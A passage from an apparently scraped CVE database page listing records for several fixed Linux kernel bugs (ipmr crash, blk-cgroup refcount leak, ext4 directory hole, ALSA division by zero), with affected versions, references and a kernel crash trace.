          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmr: do not call mr_mfc_uses_dev() for unres entries\n\nsyzbot found that calling mr_mfc_uses_dev() for unres entries\nwould crash [1], because c-\u003emfc_un.res.minvif / c-\u003emfc_un.res.maxvif\nalias to \"struct sk_buff_head unresolved\", which contain two pointers.\n\nThis code never worked, lets remove it.\n\n[1]\nUnable to handle kernel paging request at virtual address ffff5fff2d536613\nKASAN: maybe wild-memory-access in range [0xfffefff96a9b3098-0xfffefff96a9b309f]\nModules linked in:\nCPU: 1 UID: 0 PID: 7321 Comm: syz.0.16 Not tainted 6.13.0-rc7-syzkaller-g1950a0af2d55 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/13/2024\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : mr_mfc_uses_dev net/ipv4/ipmr_base.c:290 [inline]\n pc : mr_table_dump+0x5a4/0x8b0 net/ipv4/ipmr_base.c:334\n lr : mr_mfc_uses_dev net/ipv4/ipmr_base.c:289 [inline]\n lr : mr_table_dump+0x694/0x8b0 net/ipv4/ipmr_base.c:334\nCall trace:\n  mr_mfc_uses_dev net/ipv4/ipmr_base.c:290 [inline] (P)\n  mr_table_dump+0x5a4/0x8b0 net/ipv4/ipmr_base.c:334 (P)\n  mr_rtm_dumproute+0x254/0x454 net/ipv4/ipmr_base.c:382\n  ipmr_rtm_dumproute+0x248/0x4b4 net/ipv4/ipmr.c:2648\n  rtnl_dump_all+0x2e4/0x4e8 net/core/rtnetlink.c:4327\n  rtnl_dumpit+0x98/0x1d0 net/core/rtnetlink.c:6791\n  netlink_dump+0x4f0/0xbc0 net/netlink/af_netlink.c:2317\n  netlink_recvmsg+0x56c/0xe64 net/netlink/af_netlink.c:1973\n  sock_recvmsg_nosec net/socket.c:1033 [inline]\n  sock_recvmsg net/socket.c:1055 [inline]\n  sock_read_iter+0x2d8/0x40c net/socket.c:1125\n  new_sync_read fs/read_write.c:484 [inline]\n  vfs_read+0x740/0x970 fs/read_write.c:565\n  ksys_read+0x15c/0x26c fs/read_write.c:708"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:06.107Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/71a0fcb68c0a5f3ec912b540cd5d72148e6ee5f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/53df27fd38f84bd3cd6b004eb4ff3c4903114f1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/547ef7e8cbb98f966c8719a3e15d4e078aaa9b47"
        },
        {
          "url": "https://git.kernel.org/stable/c/57177c5f47a8da852f8d76cf6945cf803f8bb9e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/b379b3162ff55a70464c6a934ae9bf0497478a62"
        },
        {
          "url": "https://git.kernel.org/stable/c/a099834a51ccf9bbba3de86a251b3433539abfde"
        },
        {
          "url": "https://git.kernel.org/stable/c/26bb7d991f04eeef47dfad23e533834995c26f7a"
        },
        {
          "url": "https://git.kernel.org/stable/c/15a901361ec3fb1c393f91880e1cbf24ec0a88bd"
        }
      ],
      "title": "ipmr: do not call mr_mfc_uses_dev() for unres entries",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21719",
    "datePublished": "2025-02-27T02:07:28.573Z",
    "dateReserved": "2024-12-29T08:45:45.753Z",
    "dateUpdated": "2026-05-12T12:03:27.250Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21745 (GCVE-0-2025-21745)

Vulnerability from cvelistv5 – Published: 2025-02-27 02:12 – Updated: 2026-05-12 12:03

Title

blk-cgroup: Fix class @block_class's subsystem refcount leakage

Summary

In the Linux kernel, the following vulnerability has been resolved: blk-cgroup: Fix class @block_class's subsystem refcount leakage blkcg_fill_root_iostats() iterates over @block_class's devices by class_dev_iter_(init|next)(), but does not end iterating with class_dev_iter_exit(), so causes the class's subsystem refcount leakage. Fix by ending the iterating with class_dev_iter_exit().

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/ffb494f1e7a047bd7…
https://git.kernel.org/stable/c/38287f779b34dfe95…
https://git.kernel.org/stable/c/431b6ef2714be4d5b…
https://git.kernel.org/stable/c/993121481b5a87829…
https://git.kernel.org/stable/c/2ce09aabe009453d6…
https://git.kernel.org/stable/c/67c7f213e052b1aa6…
https://git.kernel.org/stable/c/d1248436cbef1f924…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < ffb494f1e7a047bd7a41b13796fcfb08fe5beafb (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < 38287f779b34dfe959b4b681e909f2d3d52b88be (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < 431b6ef2714be4d5babb802114987541a88b43b0 (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < 993121481b5a87829f1e8163f47158b72679f309 (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < 2ce09aabe009453d641a2ceb79e6461a2d4f3876 (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < 67c7f213e052b1aa6caba4a7e25e303bc6997126 (git) Affected: ef45fe470e1e5410db4af87abc5d5055427945ac , < d1248436cbef1f924c04255367ff4845ccd9025e (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:50.044Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "V3.1.5",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:35.807Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "block/blk-cgroup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "ffb494f1e7a047bd7a41b13796fcfb08fe5beafb",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "38287f779b34dfe959b4b681e909f2d3d52b88be",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "431b6ef2714be4d5babb802114987541a88b43b0",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "993121481b5a87829f1e8163f47158b72679f309",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "2ce09aabe009453d641a2ceb79e6461a2d4f3876",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "67c7f213e052b1aa6caba4a7e25e303bc6997126",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            },
            {
              "lessThan": "d1248436cbef1f924c04255367ff4845ccd9025e",
              "status": "affected",
              "version": "ef45fe470e1e5410db4af87abc5d5055427945ac",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "block/blk-cgroup.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nblk-cgroup: Fix class @block_class\u0027s subsystem refcount leakage\n\nblkcg_fill_root_iostats() iterates over @block_class\u0027s devices by\nclass_dev_iter_(init|next)(), but does not end iterating with\nclass_dev_iter_exit(), so causes the class\u0027s subsystem refcount leakage.\n\nFix by ending the iterating with class_dev_iter_exit()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:36.361Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/ffb494f1e7a047bd7a41b13796fcfb08fe5beafb"
        },
        {
          "url": "https://git.kernel.org/stable/c/38287f779b34dfe959b4b681e909f2d3d52b88be"
        },
        {
          "url": "https://git.kernel.org/stable/c/431b6ef2714be4d5babb802114987541a88b43b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/993121481b5a87829f1e8163f47158b72679f309"
        },
        {
          "url": "https://git.kernel.org/stable/c/2ce09aabe009453d641a2ceb79e6461a2d4f3876"
        },
        {
          "url": "https://git.kernel.org/stable/c/67c7f213e052b1aa6caba4a7e25e303bc6997126"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1248436cbef1f924c04255367ff4845ccd9025e"
        }
      ],
      "title": "blk-cgroup: Fix class @block_class\u0027s subsystem refcount leakage",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21745",
    "datePublished": "2025-02-27T02:12:17.853Z",
    "dateReserved": "2024-12-29T08:45:45.757Z",
    "dateUpdated": "2026-05-12T12:03:35.807Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42304 (GCVE-0-2024-42304)

Vulnerability from cvelistv5 – Published: 2024-08-17 09:09 – Updated: 2026-05-12 11:56

Title

ext4: make sure the first directory block is not a hole

Summary

In the Linux kernel, the following vulnerability has been resolved: ext4: make sure the first directory block is not a hole The syzbot constructs a directory that has no dirblock but is non-inline, i.e. the first directory block is a hole. And no errors are reported when creating files in this directory in the following flow. ext4_mknod ... ext4_add_entry // Read block 0 ext4_read_dirblock(dir, block, DIRENT) bh = ext4_bread(NULL, inode, block, 0) if (!bh && (type == INDEX || type == DIRENT_HTREE)) // The first directory block is a hole // But type == DIRENT, so no error is reported. After that, we get a directory block without '.' and '..' but with a valid dentry. This may cause some code that relies on dot or dotdot (such as make_indexed_dir()) to crash. Therefore when ext4_read_dirblock() finds that the first directory block is a hole report that the filesystem is corrupted and return an error to avoid loading corrupted data from disk causing something bad.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/d81d7e347d1f1f48a…
https://git.kernel.org/stable/c/e02f9941e8c011aa3…
https://git.kernel.org/stable/c/de2a011a13a46468a…
https://git.kernel.org/stable/c/9771e3d8365ae1dd5…
https://git.kernel.org/stable/c/b609753cbbd38f8c0…
https://git.kernel.org/stable/c/c3893d9de8ee153ba…
https://git.kernel.org/stable/c/299bc6ffa57e04e74…
https://git.kernel.org/stable/c/f9ca51596bbfd0f9c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 3a17ca864baffc0c6f6e8aad525aa4365775a193 , < d81d7e347d1f1f48a5634607d39eb90c161c8afe (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < e02f9941e8c011aa3eafa799def6a134ce06bcfa (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < de2a011a13a46468a6e8259db58b1b62071fe136 (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < 9771e3d8365ae1dd5e8846a204cb9af14e3e656a (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < b609753cbbd38f8c0affd4956c0af178348523ac (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < c3893d9de8ee153baac56d127d844103488133b5 (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < 299bc6ffa57e04e74c6cce866d6c0741fb4897a1 (git) Affected: 4e19d6b65fb4fc42e352ce9883649e049da14743 , < f9ca51596bbfd0f9c386dd1c613c394c78d9e5e6 (git) Affected: 3f0307b0d2d8b333a6964fc4c820dc86896fd1cf (git) Affected: 514631c2225c1fd556c799cc1893fb27b0f48f00 (git) Affected: 7f1f86276515f6816a98f6ca3ef99c827d54642f (git) Affected: 5021b7a5bdd6bb859eb648c3da71cdd6aae1d133 (git)
Linux	Linux	Affected: 5.3 Unaffected: 0 , < 5.3 (semver) Unaffected: 4.19.320 , ≤ 4.19.* (semver) Unaffected: 5.4.282 , ≤ 5.4.* (semver) Unaffected: 5.10.224 , ≤ 5.10.* (semver) Unaffected: 5.15.165 , ≤ 5.15.* (semver) Unaffected: 6.1.103 , ≤ 6.1.* (semver) Unaffected: 6.6.44 , ≤ 6.6.* (semver) Unaffected: 6.10.3 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-42304",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T16:10:22.365835Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-12T17:33:28.095Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:04:09.091Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00003.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:56:50.352Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/namei.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d81d7e347d1f1f48a5634607d39eb90c161c8afe",
              "status": "affected",
              "version": "3a17ca864baffc0c6f6e8aad525aa4365775a193",
              "versionType": "git"
            },
            {
              "lessThan": "e02f9941e8c011aa3eafa799def6a134ce06bcfa",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "de2a011a13a46468a6e8259db58b1b62071fe136",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "9771e3d8365ae1dd5e8846a204cb9af14e3e656a",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "b609753cbbd38f8c0affd4956c0af178348523ac",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "c3893d9de8ee153baac56d127d844103488133b5",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "299bc6ffa57e04e74c6cce866d6c0741fb4897a1",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "lessThan": "f9ca51596bbfd0f9c386dd1c613c394c78d9e5e6",
              "status": "affected",
              "version": "4e19d6b65fb4fc42e352ce9883649e049da14743",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3f0307b0d2d8b333a6964fc4c820dc86896fd1cf",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "514631c2225c1fd556c799cc1893fb27b0f48f00",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "7f1f86276515f6816a98f6ca3ef99c827d54642f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "5021b7a5bdd6bb859eb648c3da71cdd6aae1d133",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/ext4/namei.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.3"
            },
            {
              "lessThan": "5.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.320",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.282",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.224",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.165",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.103",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.44",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.320",
                  "versionStartIncluding": "4.19.62",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.282",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.224",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.165",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.103",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.44",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.3",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.9.187",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "4.14.135",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.1.21",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.2.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: make sure the first directory block is not a hole\n\nThe syzbot constructs a directory that has no dirblock but is non-inline,\ni.e. the first directory block is a hole. And no errors are reported when\ncreating files in this directory in the following flow.\n\n    ext4_mknod\n     ...\n      ext4_add_entry\n        // Read block 0\n        ext4_read_dirblock(dir, block, DIRENT)\n          bh = ext4_bread(NULL, inode, block, 0)\n          if (!bh \u0026\u0026 (type == INDEX || type == DIRENT_HTREE))\n          // The first directory block is a hole\n          // But type == DIRENT, so no error is reported.\n\nAfter that, we get a directory block without \u0027.\u0027 and \u0027..\u0027 but with a valid\ndentry. This may cause some code that relies on dot or dotdot (such as\nmake_indexed_dir()) to crash.\n\nTherefore when ext4_read_dirblock() finds that the first directory block\nis a hole report that the filesystem is corrupted and return an error to\navoid loading corrupted data from disk causing something bad."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:29:47.356Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d81d7e347d1f1f48a5634607d39eb90c161c8afe"
        },
        {
          "url": "https://git.kernel.org/stable/c/e02f9941e8c011aa3eafa799def6a134ce06bcfa"
        },
        {
          "url": "https://git.kernel.org/stable/c/de2a011a13a46468a6e8259db58b1b62071fe136"
        },
        {
          "url": "https://git.kernel.org/stable/c/9771e3d8365ae1dd5e8846a204cb9af14e3e656a"
        },
        {
          "url": "https://git.kernel.org/stable/c/b609753cbbd38f8c0affd4956c0af178348523ac"
        },
        {
          "url": "https://git.kernel.org/stable/c/c3893d9de8ee153baac56d127d844103488133b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/299bc6ffa57e04e74c6cce866d6c0741fb4897a1"
        },
        {
          "url": "https://git.kernel.org/stable/c/f9ca51596bbfd0f9c386dd1c613c394c78d9e5e6"
        }
      ],
      "title": "ext4: make sure the first directory block is not a hole",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-42304",
    "datePublished": "2024-08-17T09:09:10.545Z",
    "dateReserved": "2024-07-30T07:40:12.272Z",
    "dateUpdated": "2026-05-12T11:56:50.352Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50205 (GCVE-0-2024-50205)

Vulnerability from cvelistv5 – Published: 2024-11-08 06:07 – Updated: 2026-05-12 12:00

Title

ALSA: firewire-lib: Avoid division by zero in apply_constraint_to_size()

Summary

In the Linux kernel, the following vulnerability has been resolved: ALSA: firewire-lib: Avoid division by zero in apply_constraint_to_size() The step variable is initialized to zero. It is changed in the loop, but if it's not changed it will remain zero. Add a variable check before the division. The observed behavior was introduced by commit 826b5de90c0b ("ALSA: firewire-lib: fix insufficient PCM rule for period/buffer size"), and it is difficult to show that any of the interval parameters will satisfy the snd_interval_test() condition with data from the amdtp_rate_table[] table. Found by Linux Verification Center (linuxtesting.org) with SVACE.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-369 - Divide By Zero

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/d575414361630b8b0…
https://git.kernel.org/stable/c/5e431f85c87bbffd9…
https://git.kernel.org/stable/c/7d4eb9e22131ec154…
https://git.kernel.org/stable/c/d2826873db70a6719…
https://git.kernel.org/stable/c/4bdc21506f12b2d43…
https://git.kernel.org/stable/c/3452d39c4704aa125…
https://git.kernel.org/stable/c/72cafe63b35d06b5c…

Impacted products

2 products

Vendor	Product	Version
